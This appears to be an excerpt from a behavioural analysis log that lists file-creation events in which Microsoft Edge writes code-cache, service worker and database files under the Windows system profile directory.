Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f150d03c1d57b5df_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\aa9a6b283c8e83aa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d01d920f09c5762_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\493146bb80205982_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8ac78b8dd4cc4cb2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a6ef69d92350b333_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4a87a79c6d77000a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2318c14047c90430_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\76b3e43e4836f814_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\af8966ab9f9546d2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\aad64f036172c1d5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fc42d9ea97e88d4a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b14bd987253be535_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d540aa27e82fa47_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\093e63eb63a8b292_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\86195d14ffd31e2f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\76bd861a9a6f98d5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\15df4f60a8d34ac6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF1fa90a.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bc10140ccc487cbf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6e5d9fe0a946b57f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\18b18d4f42be9dc9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4264252590b436ca_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2194ae212bec996c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\be38a6b167a06314_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1c7c53ae3c59cfe1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fe39ccdcb766bff9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c9ea7bef21775c34_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9149d681662a6e39_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7e276c1c0fd04047_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\64ed8a037a2f94fd_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ffcdb4b956c42020_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4cbe4af66b58961c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f4f9c98ed04b5ec4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\561af5d42344f371_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a67b6886fc3a1533_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f637f397dcea2f5b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2af50681e7e165d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\33f60a11fe8d3c4d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\93b41bf2357412b4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7eff83c904ebbf81_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8b65a96eb9aee0b0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6840e7e9b84ec2af_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3629afc6d6acd41e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8d22457d87f44ef8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cbec4dd87a69e757_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9856673ea76d0deb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\72fe09fceb7e3a78_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF1fad02.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\79aca4930c963cc4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\79aca4930c963cc4_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ab1bc50940155da2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\ab1bc50940155da2_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\51799300f73251f6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\50d287955aa0db29_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\50d287955aa0db29_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\68cda81435e11c25_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fe8f201a1f9e91cb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\7cf8d65d0897fa22_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\db3679147ce746c5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3ce7e8903a7fd0b1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\3ce7e8903a7fd0b1_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\475fac05b3942ef4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ebc969827e6e78fa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\475fac05b3942ef4_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\55a83b115fd80ff7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\55a83b115fd80ff7_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4785f2d1eb413294_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\4785f2d1eb413294_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\e723cb04fc3eaad0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\e723cb04fc3eaad0_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2d7dd16c2cd9221e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2d7dd16c2cd9221e_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b29ae22bf7251723_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\b29ae22bf7251723_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\cdf823ec88206886_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\cdf823ec88206886_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\217a7ae8a3007b2b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2669096da0ab2fb6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\2669096da0ab2fb6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\984b0eb72c6da64b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\984b0eb72c6da64b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\314559faefde062a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\314559faefde062a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0cfe2fc50d18595c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\0cfe2fc50d18595c_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9a53e156-d00a-4dee-bb27-ecac3bc8e2da\192386fd3846067f_0
